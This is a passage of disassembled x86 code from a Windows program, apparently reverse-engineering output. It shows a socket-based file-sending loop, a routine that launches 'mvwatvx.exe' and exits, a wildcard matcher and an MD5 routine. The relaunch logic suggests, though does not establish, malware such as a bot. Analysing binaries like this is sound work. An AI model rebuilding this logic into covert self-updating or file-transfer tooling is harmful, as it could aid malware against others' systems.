[esi], offset off_430CF0 call sub_41CA28 pop ecx mov ecx, esi jmp sub_416AA6 sub_416BFD endp ; --------------------------------------------------------------------------- loc_416C13: ; DATA XREF: .text:off_430CF0o mov eax, offset loc_427B86 call sub_41E550 sub esp, 0D2Ch push ebx push esi push edi lea esi, [ebp-608h] mov [ebp-30h], ecx call sub_414878 xor ecx, ecx inc ecx mov eax, esi call sub_4148AA xor ebx, ebx or dword ptr [ebp-10h], 0FFFFFFFFh mov [ebp-28h], ebx mov [ebp-20h], ebx mov [ebp-24h], ebx mov [ebp-2Ch], ebx mov [ebp-1Ch], ebx mov [ebp-4], ebx mov [ebp-48h], ebx mov [ebp-44h], ebx mov [ebp-40h], ebx loc_416C5F: ; CODE XREF: .text:00416D9Bj ; .text:00416DB8j ... cmp [ebp-24h], ebx jnz short loc_416CD8 mov eax, [ebp-30h] push dword ptr [eax+14h] mov ax, [eax+18h] lea ecx, [ebp-608h] call sub_414A81 test eax, eax jnz loc_416F2D push 20h lea eax, [ebp-68h] push ebx push eax call sub_41C6D0 add esp, 0Ch lea edi, [ebp-0C34h] call sub_404CB9 push 20h lea eax, [ebp-68h] push eax mov esi, edi call sub_404D1E sub esp, 22Ch mov edi, esp mov ecx, 8Bh lea esi, [ebp-0C34h] lea edx, [ebp-608h] rep movsd call sub_414913 xor eax, eax mov ecx, edx mov dword ptr [ebp-24h], 1 call sub_4149DD loc_416CD8: ; CODE XREF: .text:00416C62j mov eax, [ebp-19Ch] mov esi, [ebp-24h] mov [ebp-38h], eax xor eax, eax cmp esi, 2 setnz al push ebx dec eax push eax push ebx lea eax, [ebp-38h] push eax push 1 call ds:dword_4292CC ; WSAWaitForMultipleEvents cmp eax, 102h jz short loc_416D32 lea eax, [ebp-94h] push eax lea edi, [ebp-608h] call sub_414C04 test byte ptr [ebp-94h], 20h jnz loc_416F2D lea eax, [ebp-48h] call sub_416B46 test eax, eax jnz loc_416F2D loc_416D32: ; CODE XREF: .text:00416D01j cmp [ebp-20h], ebx jnz loc_416DEB mov edi, [ebp-30h] loc_416D3E: ; CODE XREF: .text:00416D60j inc dword ptr [ebp-28h] mov eax, [ebp-28h] dec eax jz short loc_416D57 dec eax jnz short loc_416D64 test byte ptr [edi+10h], 2 jz short loc_416D5D call sub_404ADB jmp short loc_416DA5 ; --------------------------------------------------------------------------- loc_416D57: ; CODE XREF: .text:00416D45j test byte ptr [edi+10h], 1 jnz short loc_416DA0 loc_416D5D: ; CODE XREF: .text:00416D4Ej cmp esi, 2 jnz short loc_416D3E jmp short loc_416DB5 ; --------------------------------------------------------------------------- loc_416D64: ; CODE XREF: .text:00416D48j push 20h pop ebx lea esi, [ebp-608h] call sub_414AE0 push 2 pop esi push esi push dword ptr [ebp-1B0h] call ds:dword_4292A0 ; shutdown mov [ebp-24h], esi mov dword ptr [ebp-40h], 1388h call ds:dword_4290A8 ; GetTickCount and dword ptr [ebp-44h], 0 mov [ebp-48h], eax xor ebx, ebx jmp loc_416C5F ; --------------------------------------------------------------------------- loc_416DA0: ; CODE XREF: .text:00416D5Bj call sub_404AA9 loc_416DA5: ; CODE XREF: .text:00416D55j push eax lea eax, [ebp-10h] call sub_405CD8 mov dword ptr [ebp-20h], 1 loc_416DB5: ; CODE XREF: .text:00416D62j cmp esi, 2 jz loc_416C5F push ebx push dword ptr [ebp-10h] call ds:dword_4291BC ; GetFileSize push dword ptr [edi+10h] mov [ebp-2Ch], eax push eax mov [ebp-1Ch], ebx call sub_404869 push eax push offset dword_430D00 lea edi, [ebp-608h] call sub_414CA6 add esp, 10h loc_416DEB: ; CODE XREF: .text:00416D35j cmp esi, 2 jz loc_416C5F push ebx lea eax, [ebp-14h] push eax mov edi, 400h push edi lea eax, [ebp-0A08h] push eax push dword ptr [ebp-10h] call ds:dword_429108 ; ReadFile mov eax, [ebp-14h] cmp eax, ebx jz short loc_416E48 mov edx, [ebp-2Ch] cmp [ebp-1Ch], edx jnb short loc_416E48 mov ecx, [ebp-1Ch] add [ebp-1Ch], eax cmp [ebp-1Ch], edx jbe short loc_416E30 mov eax, edx sub eax, ecx mov [ebp-14h], eax loc_416E30: ; CODE XREF: .text:00416E27j push eax lea eax, [ebp-0A08h] push eax lea edi, [ebp-608h] call sub_414C2D jmp loc_416C5F ; --------------------------------------------------------------------------- loc_416E48: ; CODE XREF: .text:00416E14j ; .text:00416E1Cj push 1 lea eax, [ebp-15h] push eax lea esi, [ebp-608h] mov [ebp-20h], ebx call sub_414D0B cmp byte ptr [ebp-15h], 31h jnz loc_416F20 lea eax, [ebp-0D38h] push offset off_430CFC push eax call sub_41D92B pop ecx push eax call sub_41D3D4 pop ecx pop ecx push ebx push dword ptr [ebp-2Ch] mov esi, eax push ebx lea eax, [ebp-10h] push eax mov [ebp-34h], esi call sub_405DBE loc_416E93: ; CODE XREF: .text:00416EC6j push ebx lea eax, [ebp-14h] push eax push edi lea eax, [ebp-0A08h] push eax push dword ptr [ebp-10h] call ds:dword_429108 ; ReadFile cmp [ebp-14h], ebx jbe short loc_416EC8 push esi push dword ptr [ebp-14h] lea eax, [ebp-0A08h] push 1 push eax call sub_41DC21 add esp, 10h cmp [ebp-14h], ebx ja short loc_416E93 loc_416EC8: ; CODE XREF: .text:00416EACj push ebx push ebx push ebx lea eax, [ebp-10h] push eax call sub_405DBE push dword ptr [ebp-10h] call ds:dword_429100 ; SetEndOfFile jmp short loc_416EF0 ; --------------------------------------------------------------------------- loc_416EDF: ; CODE XREF: .text:00416F08j push eax lea eax, [ebp-0A08h] push eax lea eax, [ebp-10h] push eax call sub_405D4F loc_416EF0: ; CODE XREF: .text:00416EDDj push esi push edi lea eax, [ebp-0A08h] push 1 push eax call sub_41DACE add esp, 10h cmp eax, ebx mov [ebp-14h], eax jnz short loc_416EDF lea esi, [ebp-10h] call sub_405CF2 push dword ptr [ebp-34h] call sub_41D4C3 pop ecx jmp loc_416C5F ; --------------------------------------------------------------------------- loc_416F20: ; CODE XREF: .text:00416E60j lea esi, [ebp-10h] call sub_405CF2 jmp loc_416C5F ; --------------------------------------------------------------------------- loc_416F2D: ; CODE XREF: .text:00416C7Bj ; .text:00416D1Cj ... lea eax, [ebp-608h] push 3 call sub_414D44 lea esi, [ebp-10h] call sub_405CF2 mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F51 proc near ; CODE XREF: sub_4077BF+D3p ; .text:0040B3DCp var_180 = byte ptr -180h var_54 = dword ptr -54h var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 180h push esi push ds:dword_438104 call ds:dword_4290F0 ; CloseHandle push 44h pop eax push eax mov [ebp+var_54], eax xor esi, esi lea eax, [ebp+var_54] push esi push eax call sub_41C6D0 push 10h lea eax, [ebp+var_10] push esi push eax call sub_41C6D0 push [ebp+arg_0] lea eax, [ebp+var_180] push eax call sub_41C930 lea eax, [ebp+var_180] push offset dword_430D0C push eax call sub_41C940 lea eax, [ebp+var_180] push offset aMvwatvx_exe ; "mvwatvx.exe" push eax call sub_41C940 add esp, 30h lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax push esi push esi push esi push esi push esi push esi lea eax, [ebp+var_180] push eax push esi call ds:dword_4290EC ; CreateProcessA push esi call ds:dword_4290E8 ; ExitProcess int 3 ; Trap to Debugger loc_416FDE: ; CODE XREF: sub_407331+2Ep ; .text:0040851Bp ... push ebp mov ebp, esp push ecx push esi mov esi, ecx mov cl, [eax] test cl, cl push edi jz short loc_417047 loc_416FEC: ; CODE XREF: sub_416F51+B1j mov dl, [esi] cmp dl, 2Ah jz short loc_417004 cmp dl, cl jz short loc_416FFC cmp dl, 3Fh jnz short loc_417022 loc_416FFC: ; CODE XREF: sub_416F51+A4j inc esi inc eax mov cl, [eax] test cl, cl jnz short loc_416FEC loc_417004: ; CODE XREF: sub_416F51+A0j mov cl, [eax] test cl, cl jz short loc_417047 mov edi, [ebp+var_4] loc_41700D: ; CODE XREF: sub_416F51+ECj mov dl, [esi] cmp dl, 2Ah jnz short loc_417026 inc esi cmp byte ptr [esi], 0 jz short loc_417041 mov [ebp+var_4], esi lea edi, [eax+1] jmp short loc_417039 ; --------------------------------------------------------------------------- loc_417022: ; CODE XREF: sub_416F51+A9j xor eax, eax jmp short loc_417053 ; --------------------------------------------------------------------------- loc_417026: ; CODE XREF: sub_416F51+C1j cmp dl, cl jz short loc_417037 cmp dl, 3Fh jz short loc_417037 mov esi, [ebp+var_4] mov eax, edi inc edi jmp short loc_417039 ; --------------------------------------------------------------------------- loc_417037: ; CODE XREF: sub_416F51+D7j ; sub_416F51+DCj inc esi inc eax loc_417039: ; CODE XREF: sub_416F51+CFj ; sub_416F51+E4j mov cl, [eax] test cl, cl jnz short loc_41700D jmp short loc_417047 ; --------------------------------------------------------------------------- loc_417041: ; CODE XREF: sub_416F51+C7j xor eax, eax inc eax jmp short loc_417053 ; --------------------------------------------------------------------------- loc_417046: ; CODE XREF: sub_416F51+F9j inc esi loc_417047: ; CODE XREF: sub_416F51+99j ; sub_416F51+B7j ... cmp byte ptr [esi], 2Ah jz short loc_417046 xor eax, eax cmp [esi], al setz al loc_417053: ; CODE XREF: sub_416F51+D3j ; sub_416F51+F3j pop edi pop esi leave retn sub_416F51 endp ; =============== S U B R O U T I N E ======================================= sub_417057 proc near ; CODE XREF: sub_40A355+27p ; .text:0040A5CAp ... and dword ptr [eax+14h], 0 and dword ptr [eax+10h], 0 mov dword ptr [eax], 67452301h mov dword ptr [eax+4], 0EFCDAB89h mov dword ptr [eax+8], 98BADCFEh mov dword ptr [eax+0Ch], 10325476h retn sub_417057 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41707B proc near ; CODE XREF: .text:0040A5DBp ; .text:0040A611p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, eax mov ecx, [esi+10h] mov eax, ecx shr eax, 3 mov edx, ebx lea ecx, [ecx+ebx*8] shl edx, 3 and eax, 3Fh cmp ecx, edx push edi mov [esi+10h], ecx jnb short loc_4170A0 inc dword ptr [esi+14h] loc_4170A0: ; CODE XREF: sub_41707B+20j push 40h mov ecx, ebx shr ecx, 1Dh add [esi+14h], ecx pop edi sub edi, eax cmp ebx, edi jb short loc_4170EA mov ecx, [ebp+arg_0] lea eax, [eax+esi+18h] mov edx, edi call sub_417A67 lea eax, [esi+18h] call sub_41716C mov [ebp+var_4], edi add edi, 3Fh jmp short loc_4170E2 ; --------------------------------------------------------------------------- loc_4170CF: ; CODE XREF: sub_41707B+69j mov eax, [ebp+arg_0] lea eax, [eax+edi-3Fh] call sub_41716C add [ebp+var_4], 40h add edi, 40h loc_4170E2: ; CODE XREF: sub_41707B+52j cmp edi, ebx jb short loc_4170CF xor eax, eax jmp short loc_4170EE ; --------------------------------------------------------------------------- loc_4170EA: ; CODE XREF: sub_41707B+34j and [ebp+var_4], 0 loc_4170EE: ; CODE XREF: sub_41707B+6Dj mov ecx, [ebp+var_4] mov edi, [ebp+arg_0] mov edx, ebx sub edx, ecx add ecx, edi lea eax, [eax+esi+18h] call sub_417A67 pop edi pop esi leave retn sub_41707B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417107 proc near ; CODE XREF: .text:0040A640p ; .text:0040A9F6p ... var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi lea esi, [edi+10h] push 8 pop edx mov eax, esi lea ecx, [ebp+var_8] call sub_4179FF mov eax, [esi] shr eax, 3 push 38h and eax, 3Fh pop ebx cmp eax, ebx jb short loc_417130 push 78h pop ebx loc_417130: ; CODE XREF: sub_417107+24j sub ebx, eax push offset dword_4352D8 mov eax, edi call sub_41707B lea eax, [ebp+var_8] push eax push 8 pop ebx mov eax, edi call sub_41707B mov ecx, [ebp+arg_0] push 10h pop edx mov eax, edi call sub_4179FF push 0 push 58h pop ecx mov edx, edi call sub_417A7B add esp, 0Ch pop esi pop ebx leave retn sub_417107 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41716C proc near ; CODE XREF: sub_41707B+47p ; sub_41707B+5Bp var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 4Ch push ebx mov ebx, [esi+8] push edi mov edi, [esi+4] push 40h pop ecx lea edx, [ebp+var_4C] call sub_417A30 mov eax, [esi] mov ecx, edi not ecx and ecx, [esi+0Ch] mov edx, ebx and edx, edi or ecx, edx add ecx, eax mov eax, [ebp+var_4C] lea ecx, [ecx+eax-28955B88h] mov eax, ecx shl ecx, 7 shr eax, 19h or eax, ecx add eax, edi mov edx, edi and edx, eax mov ecx, eax not ecx and ecx, ebx or ecx, edx add ecx, [ebp+var_48] mov edx, [esi+0Ch] lea edx, [edx+ecx-173848AAh] mov ecx, edx shl edx, 0Ch shr ecx, 14h or ecx, edx add ecx, eax mov edx, ecx not edx and edx, edi mov edi, ecx and edi, eax or edx, edi add edx, [ebp+var_44] lea edx, [ebx+edx+242070DBh] mov edi, edx shl edx, 11h shr edi, 0Fh or edi, edx add edi, ecx mov edx, edi not edx and edx, eax mov ebx, ecx and ebx, edi or edx, ebx add edx, [ebp+var_40] mov ebx, [esi+4] lea ebx, [ebx+edx-3E423112h] mov edx, ebx shr ebx, 0Ah shl edx, 16h or edx, ebx add edx, edi mov [ebp+var_C], edi and edi, edx mov ebx, edx not ebx and ebx, ecx or ebx, edi add ebx, [ebp+var_3C] lea eax, [eax+ebx-0A83F051h] mov edi, eax shr edi, 19h shl eax, 7 or edi, eax add edi, edx mov [ebp+var_4], edi not edi and edi, [ebp+var_C] mov eax, edx and eax, [ebp+var_4] or edi, eax add edi, [ebp+var_38] lea ecx, [ecx+edi+4787C62Ah] mov eax, ecx shl ecx, 0Ch shr eax, 14h or eax, ecx add eax, [ebp+var_4] mov ecx, eax mov edi, eax and edi, [ebp+var_4] not ecx and ecx, edx or ecx, edi add ecx, [ebp+var_34] mov edi, [ebp+var_C] lea edi, [edi+ecx-57CFB9EDh] mov ecx, edi shl edi, 11h shr ecx, 0Fh or ecx, edi add ecx, eax mov ebx, eax and ebx, ecx mov edi, ecx not edi and edi, [ebp+var_4] or edi, ebx add edi, [ebp+var_30] mov ebx, ecx lea edx, [edx+edi-2B96AFFh] mov edi, edx shr edx, 0Ah shl edi, 16h or edi, edx add edi, ecx and ebx, edi mov edx, edi not edx and edx, eax or edx, ebx add edx, [ebp+var_2C] mov ebx, [ebp+var_4] lea ebx, [ebx+edx+698098D8h] mov edx, ebx shl ebx, 7 shr edx, 19h or edx, ebx add edx, edi mov [ebp+var_8], edi and edi, edx mov ebx, edx not ebx and ebx, ecx or ebx, edi add ebx, [ebp+var_28] lea eax, [eax+ebx-74BB0851h] mov edi, eax shl eax, 0Ch shr edi, 14h or edi, eax add edi, edx mov eax, edi not eax and eax, [ebp+var_8] mov ebx, edi and ebx, edx or eax, ebx add eax, [ebp+var_24] lea ecx, [ecx+eax-0A44Fh] mov ebx, ecx shr ebx, 0Fh shl ecx, 11h or ebx, ecx add ebx, edi mov eax, ebx not eax mov [ebp+var_C], ebx and eax, edx mov ecx, edi and ecx, ebx or eax, ecx add eax, [ebp+var_20] mov ecx, [ebp+var_8] lea ecx, [ecx+eax-76A32842h] mov eax, ecx shr ecx, 0Ah shl eax, 16h or eax, ecx add eax, ebx and ebx, eax mov ecx, eax not ecx and ecx, edi or ecx, ebx add ecx, [ebp+var_1C] lea edx, [edx+ecx+6B901122h] mov ecx, edx shl edx, 7 shr ecx, 19h or ecx, edx add ecx, eax mov [ebp+var_4], ecx mov edx, eax and edx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or ecx, edx add ecx, [ebp+var_18] lea edi, [edi+ecx-2678E6Dh] mov ecx, edi shl edi, 0Ch shr ecx, 14h or ecx, edi add ecx, [ebp+var_4] mov edi, eax mov [ebp+var_8], ecx not [ebp+var_8] and edi, [ebp+var_8] mov edx, ecx and edx, [ebp+var_4] mov ebx, ecx or edx, edi add edx, [ebp+var_14] mov edi, [ebp+var_C] lea edi, [edi+edx-5986BC72h] mov edx, edi shl edi, 11h shr edx, 0Fh or edx, edi add edx, ecx and ebx, edx mov [ebp+var_C], edx not [ebp+var_C] mov edi, [ebp+var_C] and edi, [ebp+var_4] or edi, ebx add edi, [ebp+var_10] mov ebx, edx and ebx, [ebp+var_8] lea eax, [eax+edi+49B40821h] mov edi, eax shr eax, 0Ah shl edi, 16h or edi, eax add edi, edx mov eax, ecx and eax, edi or eax, ebx add eax, [ebp+var_48] mov ebx, [ebp+var_4] lea eax, [ebx+eax-9E1DA9Eh] mov ebx, eax shr ebx, 1Bh shl eax, 5 or ebx, eax mov eax, [ebp+var_C] add ebx, edi and eax, edi mov [ebp+var_4], ebx mov [ebp+var_C], eax mov eax, edx and eax, ebx mov ebx, eax mov eax, [ebp+var_C] or eax, ebx add eax, [ebp+var_34] lea ecx, [ecx+eax-3FBF4CC0h] mov eax, ecx shl ecx, 9 shr eax, 17h or eax, ecx add eax, [ebp+var_4] mov ecx, edi not ecx and ecx, [ebp+var_4] mov ebx, eax and ebx, edi or ecx, ebx add ecx, [ebp+var_20] lea edx, [edx+ecx+265E5A51h] mov ecx, edx shl edx, 0Eh shr ecx, 12h or ecx, edx mov edx, [ebp+var_4] add ecx, eax not edx and edx, eax mov [ebp+var_C], ecx and ecx, [ebp+var_4] mov ebx, [ebp+var_C] or edx, ecx add edx, [ebp+var_4C] lea edi, [edi+edx-16493856h] mov ecx, edi shr edi, 0Ch mov edx, eax not edx and edx, ebx shl ecx, 14h or ecx, edi mov edi, eax add ecx, ebx and edi, ecx or edx, edi add edx, [ebp+var_38] mov edi, [ebp+var_4] lea edx, [edi+edx-29D0EFA3h] mov edi, edx shl edx, 5 shr edi, 1Bh or edi, edx add edi, ecx mov [ebp+var_4], edi mov edx, ebx not edx and edx, ecx mov edi, ebx and edi, [ebp+var_4] or edx, edi add edx, [ebp+var_24] lea eax, [eax+edx+2441453h] mov edx, eax shl eax, 9 shr edx, 17h or edx, eax add edx, [ebp+var_4] mov eax, ecx not eax and eax, [ebp+var_4] mov edi, edx and edi, ecx or eax, edi add eax, [ebp+var_10] lea edi, [ebx+eax-275E197Fh] mov eax, edi shr eax, 12h shl edi, 0Eh or eax, edi add eax, edx mov edi, [ebp+var_4] mov ebx, eax and ebx, [ebp+var_4] not edi and edi, edx or edi, ebx add edi, [ebp+var_3C] mov ebx, edx lea ecx, [ecx+edi-182C0438h] mov edi, ecx shr ecx, 0Ch shl edi, 14h or edi, ecx add edi, eax and ebx, edi mov ecx, edx not ecx and ecx, eax or ecx, ebx add ecx, [ebp+var_28] mov ebx, [ebp+var_4] lea ebx, [ebx+ecx+21E1CDE6h] mov ecx, ebx shl ebx, 5 shr ecx, 1Bh or ecx, ebx mov ebx, eax not ebx and ebx, edi add ecx, edi mov [ebp+var_8], edi mov edi, eax and edi, ecx or ebx, edi add ebx, [ebp+var_14] lea edx, [edx+ebx-3CC8F82Ah] mov edi, edx shl edx, 9 shr edi, 17h or edi, edx mov edx, [ebp+var_8] add edi, ecx not edx and edx, ecx mov ebx, edi and ebx, [ebp+var_8] or edx, ebx add edx, [ebp+var_40] lea eax, [eax+edx-0B2AF279h] mov edx, eax shl eax, 0Eh shr edx, 12h or edx, eax add edx, edi mov eax, ecx not eax and eax, edi mov ebx, edx and ebx, ecx or eax, ebx add eax, [ebp+var_2C] mov ebx, [ebp+var_8] lea eax, [ebx+eax+455A14EDh] mov ebx, eax shr eax, 0Ch shl ebx, 14h or ebx, eax add ebx, edx mov [ebp+var_8], ebx mov eax, edi not eax and eax, edx mov ebx, edi and ebx, [ebp+var_8] or eax, ebx add eax, [ebp+var_18] lea ecx, [ecx+eax-561C16FBh] mov eax, ecx shr eax, 1Bh shl ecx, 5 or eax, ecx add eax, [ebp+var_8] mov ecx, edx mov [ebp+var_4], eax and ecx, [ebp+var_4] mov ebx, [ebp+var_4] mov eax, edx not eax and eax, [ebp+var_8] or eax, ecx add eax, [ebp+var_44] mov ecx, [ebp+var_8] lea edi, [edi+eax-3105C08h] mov eax, edi shl edi, 9 shr eax, 17h or eax, edi add eax, ebx mov edi, eax and edi, [ebp+var_8] not ecx and ecx, ebx or ecx, edi add ecx, [ebp+var_30] lea edx, [edx+ecx+676F02D9h] mov ecx, edx shl edx, 0Eh shr ecx, 12h or ecx, edx add ecx, eax mov edx, ebx not edx and edx, eax mov edi, ecx and edi, ebx or edx, edi add edx, [ebp+var_1C] mov edi, [ebp+var_8] lea edi, [edi+edx-72D5B376h] mov edx, edi shr edi, 0Ch shl edx, 14h or edx, edi mov edi, eax xor edi, ecx add edx, ecx xor edi, edx add edi, [ebp+var_38] lea ebx, [ebx+edi-5C6BEh] mov edi, ebx shl ebx, 4 shr edi, 1Ch or edi, ebx mov ebx, ecx xor ebx, edx add edi, edx xor ebx, edi add ebx, [ebp+var_2C] lea eax, [eax+ebx-788E097Fh] mov ebx, eax shl eax, 0Bh shr ebx, 15h or ebx, eax add ebx, edi mov eax, ebx xor eax, edx xor eax, edi add eax, [ebp+var_20] lea ecx, [ecx+eax+6D9D6122h] mov eax, ecx shr eax, 10h shl ecx, 10h or eax, ecx add eax, ebx mov [ebp+var_C], eax mov ecx, ebx xor ecx, eax mov eax, ecx xor eax, edi add eax, [ebp+var_14] lea edx, [edx+eax-21AC7F4h] mov eax, edx shr edx, 9 shl eax, 17h or eax, edx add eax, [ebp+var_C] xor ecx, eax add ecx, [ebp+var_48] lea edi, [edi+ecx-5B4115BCh] mov ecx, edi shl edi, 4 shr ecx, 1Ch or ecx, edi mov edi, [ebp+var_C] add ecx, eax mov edx, edi xor edx, eax xor edx, ecx add edx, [ebp+var_3C] lea ebx, [ebx+edx+4BDECFA9h] mov edx, ebx shl ebx, 0Bh shr edx, 15h or edx, ebx add edx, ecx mov ebx, edx xor ebx, eax xor ebx, ecx add ebx, [ebp+var_30] mov [ebp+var_C], edx lea ebx, [edi+ebx-944B4A0h] mov edi, ebx shl ebx, 10h shr edi, 10h or edi, ebx add edi, edx xor [ebp+var_C], edi mov ebx, [ebp+var_C] xor ebx, ecx add ebx, [ebp+var_24] lea ebx, [eax+ebx-41404390h] mov eax, ebx shr ebx, 9 shl eax, 17h or eax, ebx mov ebx, [ebp+var_C] add eax, edi xor ebx, eax add ebx, [ebp+var_18] lea ebx, [ecx+ebx+289B7EC6h] mov ecx, ebx shl ebx, 4 shr ecx, 1Ch or ecx, ebx mov ebx, edi xor ebx, eax add ecx, eax xor ebx, ecx add ebx, [ebp+var_4C] lea edx, [edx+ebx-155ED806h] mov ebx, edx shl edx, 0Bh shr ebx, 15h or ebx, edx add ebx, ecx mov edx, ebx xor edx, eax xor edx, ecx add edx, [ebp+var_40] mov [ebp+var_C], ebx lea edx, [edi+edx-2B10CF7Bh] mov edi, edx shl edx, 10h shr edi, 10h or edi, edx add edi, ebx xor [ebp+var_C], edi mov edx, [ebp+var_C] xor edx, ecx add edx, [ebp+var_34] lea edx, [eax+edx+4881D05h] mov eax, edx shl eax, 17h shr edx, 9 or eax, edx mov edx, [ebp+var_C] add eax, edi xor edx, eax add edx, [ebp+var_28] lea edx, [ecx+edx-262B2FC7h] mov ecx, edx shl edx, 4 shr ecx, 1Ch or ecx, edx add ecx, eax mov edx, edi xor edx, eax xor edx, ecx add edx, [ebp+var_1C] lea ebx, [ebx+edx-1924661Bh] mov edx, ebx shl ebx, 0Bh shr edx, 15h or edx, ebx add edx, ecx mov ebx, edx xor ebx, eax xor ebx, ecx add ebx, [ebp+var_10] lea ebx, [edi+ebx+1FA27CF8h] mov edi, ebx shl ebx, 10h shr edi, 10h or edi, ebx add edi, edx mov ebx, edx xor ebx, edi xor ebx, ecx add ebx, [ebp+var_44] lea eax, [eax+ebx-3B53A99Bh] mov ebx, eax shr eax, 9 shl ebx, 17h or ebx, eax mov eax, edx add ebx, edi not eax or eax, ebx xor eax, edi add eax, [ebp+var_4C] lea ecx, [ecx+eax-0BD6DDBCh] mov eax, ecx shl ecx, 6 shr eax, 1Ah or eax, ecx mov ecx, edi not ecx add eax, ebx or ecx, eax xor ecx, ebx add ecx, [ebp+var_30] lea edx, [edx+ecx+432AFF97h] mov ecx, edx shl edx, 0Ah shr ecx, 16h or ecx, edx add ecx, eax mov edx, ebx not edx or edx, ecx xor edx, eax add edx, [ebp+var_14] lea edi, [edi+edx-546BDC59h] mov edx, edi shl edi, 0Fh shr edx, 11h or edx, edi mov edi, eax not edi add edx, ecx or edi, edx xor edi, ecx add edi, [ebp+var_38] lea ebx, [ebx+edi-36C5FC7h] mov edi, ebx shr ebx, 0Bh shl edi, 15h or edi, ebx add edi, edx mov ebx, ecx not ebx or ebx, edi xor ebx, edx add ebx, [ebp+var_1C] lea ebx, [eax+ebx+655B59C3h] mov eax, ebx shl ebx, 6 shr eax, 1Ah or eax, ebx add eax, edi mov ebx, edx not ebx or ebx, eax xor ebx, edi add ebx, [ebp+var_40] lea ebx, [ecx+ebx-70F3336Eh] mov ecx, ebx shl ebx, 0Ah shr ecx, 16h or ecx, ebx add ecx, eax mov ebx, edi not ebx or ebx, ecx xor ebx, eax add ebx, [ebp+var_24] lea ebx, [edx+ebx-100B83h] mov edx, ebx shl ebx, 0Fh shr edx, 11h or edx, ebx add edx, ecx mov ebx, eax not ebx or ebx, edx xor ebx, ecx add ebx, [ebp+var_48] lea ebx, [edi+ebx-7A7BA22Fh] mov edi, ebx shr ebx, 0Bh shl edi, 15h or edi, ebx add edi, edx mov ebx, ecx not ebx or ebx, edi xor ebx, edx add ebx, [ebp+var_2C] lea ebx, [eax+ebx+6FA87E4Fh] mov eax, ebx shl ebx, 6 shr eax, 1Ah or eax, ebx mov ebx, edx not ebx add eax, edi or ebx, eax xor ebx, edi add ebx, [ebp+var_10] lea ebx, [ecx+ebx-1D31920h] mov ecx, ebx shl ebx, 0Ah shr ecx, 16h or ecx, ebx mov ebx, edi not ebx add ecx, eax or ebx, ecx xor ebx, eax add ebx, [ebp+var_34] lea ebx, [edx+ebx-5CFEBCECh] mov edx, ebx shr edx, 11h shl ebx, 0Fh or edx, ebx add edx, ecx mov ebx, eax not ebx or ebx, edx xor ebx, ecx add ebx, [ebp+var_18] lea ebx, [edi+ebx+4E0811A1h] mov edi, ebx shr ebx, 0Bh shl edi, 15h or edi, ebx add edi, edx mov ebx, ecx not ebx or ebx, edi xor ebx, edx add ebx, [ebp+var_3C] lea ebx, [eax+ebx-8AC817Eh] mov eax, ebx shl ebx, 6 shr eax, 1Ah or eax, ebx add eax, edi mov ebx, edx not ebx or ebx, eax xor ebx, edi add ebx, [ebp+var_20] lea ecx, [ecx+ebx-42C50DCBh] mov ebx, ecx shl ecx, 0Ah shr ebx, 16h or ebx, ecx add ebx, eax mov ecx, edi not ecx or ecx, ebx xor ecx, eax add ecx, [ebp+var_44] lea edx, [edx+ecx+2AD7D2BBh] mov ecx, edx shl edx, 0Fh shr ecx, 11h or ecx, edx mov edx, eax add ecx, ebx not edx or edx, ecx xor edx, ebx add edx, [ebp+var_28] lea edi, [edi+edx-14792C6Fh] mov edx, [esi] add edx, eax mov eax, edi shl eax, 15h shr edi, 0Bh or eax, edi add eax, [esi+4] pop edi add eax, ecx mov [esi+4], eax mov eax, [esi+8] add eax, ecx mov [esi+8], eax mov eax, [esi+0Ch] add eax, ebx mov [esi], edx mov [esi+0Ch], eax pop ebx leave retn sub_41716C endp ; =============== S U B R O U T I N E ======================================= sub_4179FF proc near ; CODE XREF: sub_417107+12p ; sub_417107+4Dp test edx, edx jbe short locret_417A2F push esi lea esi, [edx-1] shr esi, 2 inc ecx add eax, 2 inc esi loc_417A0F: ; CODE XREF: sub_4179FF+2Dj mov dl, [eax-2] mov [ecx-1], dl mov dl, [eax-1] mov [ecx], dl mov dl, [eax] mov [ecx+1], dl mov dl, [eax+1] mov [ecx+2], dl add eax, 4 add ecx, 4 dec esi jnz short loc_417A0F pop esi locret_417A2F: ; CODE XREF: sub_4179FF+2j retn sub_4179FF endp ; =============== S U B R O U T I N E ======================================= sub_417A30 proc near ; CODE XREF: sub_41716C+14p test ecx, ecx jbe short locret_417A66 add eax, 2 dec ecx push esi shr ecx, 2 push edi mov esi, edx inc ecx loc_417A40: ; CODE XREF: sub_417A30+32j movzx edi, byte ptr [eax-1] xor edx, edx mov dh, [eax+1] mov dl, [eax] add eax, 4 shl edx, 8 or edx, edi movzx edi, byte ptr [eax-6] shl edx, 8 or edx, edi mov [esi], edx add esi, 4 dec ecx jnz short loc_417A40 pop edi pop esi locret_417A66: ; CODE XREF: sub_417A30+2j retn sub_417A30 endp ; =============== S U B R O U T I N E ======================================= sub_417A67 proc near ; CODE XREF: sub_41707B+3Fp ; sub_41707B+83p push esi mov esi, edx test esi, esi jbe short loc_417A79 sub ecx, eax loc_417A70: ; CODE XREF: sub_417A67+10j mov dl, [ecx+eax] mov [eax], dl inc eax dec esi jnz short loc_417A70 loc_417A79: ; CODE XREF: sub_417A67+5j pop esi retn sub_417A67 endp ; =============== S U B R O U T I N E ======================================= sub_417A7B proc near ; CODE XREF: sub_417107+59p arg_0 = 